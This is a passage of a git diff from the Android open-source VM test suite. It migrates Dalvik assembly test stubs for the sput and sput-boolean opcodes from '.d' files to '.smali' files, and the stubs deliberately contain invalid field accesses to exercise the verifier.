-.limit regs 3
-
-       const v1, 0
-       sput v1, dot.junit.opcodes.sput.d.T_sput_7.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_7.smali
new file mode 100644
index 0000000..bc3e940
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_7.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_7;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_8.d
deleted file mode 100644
index f1b1561..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_8.java
-.class public dot.junit.opcodes.sput.d.T_sput_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput v1, dot.junit.opcodes.sput.TestStubs.TestStubField I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_8.smali
new file mode 100644
index 0000000..6aa2dbd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_8.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput v1, Ldot/junit/opcodes/sput/TestStubs;->TestStubField:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_9.d
deleted file mode 100644
index 2e4fe0e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_9.java
-.class public dot.junit.opcodes.sput.d.T_sput_9
-.super java/lang/Object
-
-.field public st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput v1, dot.junit.opcodes.sput.d.T_sput_9noclass.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_9.smali
new file mode 100644
index 0000000..bff85cc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_9.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_9noclass;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1.d
deleted file mode 100644
index 8078d65..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_1.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_1
-.super java/lang/Object
-
-.field public static st_i1 Z
-.field protected static st_p1 Z
-.field private static st_pvt1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static getPvtField()Z
-.limit regs 2
-
-       sget-boolean v0, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_1.st_pvt1 Z
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_1.st_i1 Z
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1.smali
new file mode 100644
index 0000000..232ec01
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_1.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:Z
+.field protected static st_p1:Z
+.field private static st_pvt1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static getPvtField()Z
+.registers 2
+
+       sget-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;->st_pvt1:Z
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;->st_i1:Z
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_10.d
deleted file mode 100644
index 672420d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_10.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_10
-.super java/lang/Object
-
-.field public st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_10.st_i1N Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_10.smali
new file mode 100644
index 0000000..6e45923
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_10.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_10;->st_i1N:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_11.d
deleted file mode 100644
index 796ac2a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_11.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.TestStubs.TestStubFieldFinal Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_11.smali
new file mode 100644
index 0000000..3ce40b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_11.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/TestStubs;->TestStubFieldFinal:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_12.d
deleted file mode 100644
index d6db6ac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_12.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_12
-.super java/lang/Object
-
-.field public static final st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_12.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_12.smali
new file mode 100644
index 0000000..41aaa93
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_12.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_12;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.java
index 20d2977..7192b0f 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.java
@@ -17,6 +17,7 @@
 package dot.junit.opcodes.sput_boolean.d;
 
 class StubInitError {
+    @SuppressWarnings("ConstantOverflow")
     static boolean value = 5 / 0 > 0 ? true : false; 
 }
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.smalis/StubInitError.smali
new file mode 100644
index 0000000..4873c1f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.smalis/StubInitError.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_boolean/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:Z
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/StubInitError;->value:Z
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.smalis/T_sput_boolean_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.smalis/T_sput_boolean_13.smali
new file mode 100644
index 0000000..03decd2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_13.smalis/T_sput_boolean_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_13;
+.super Ljava/lang/Object;
+.source "T_sput_boolean_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x1
+
+    sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/StubInitError;->value:Z
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_14.d
deleted file mode 100644
index cbaa0e6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_14.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_14
-.super dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1/<init>()V
-       return-void
-.end method
-
-.method public static getProtectedField()Z
-.limit regs 2
-
-       sget-boolean v0, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_1.st_p1 Z
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_1.st_p1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_14.smali
new file mode 100644
index 0000000..c4c162f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_14.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_14;
+.super  Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()Z
+.registers 2
+
+       sget-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;->st_p1:Z
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;->st_p1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_15.d
deleted file mode 100644
index 4adc0ad..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_15.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_15
-.super dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_boolean/d/T_sput_boolean_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_1.st_pvt1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_15.smali
new file mode 100644
index 0000000..76d73e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_15.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_15;
+.super  Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_1;->st_pvt1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_17.d
deleted file mode 100644
index 53dbe8f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_17.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_17
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_17.st_i1 Z
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_17.smali
new file mode 100644
index 0000000..7ac6c54
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_17.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
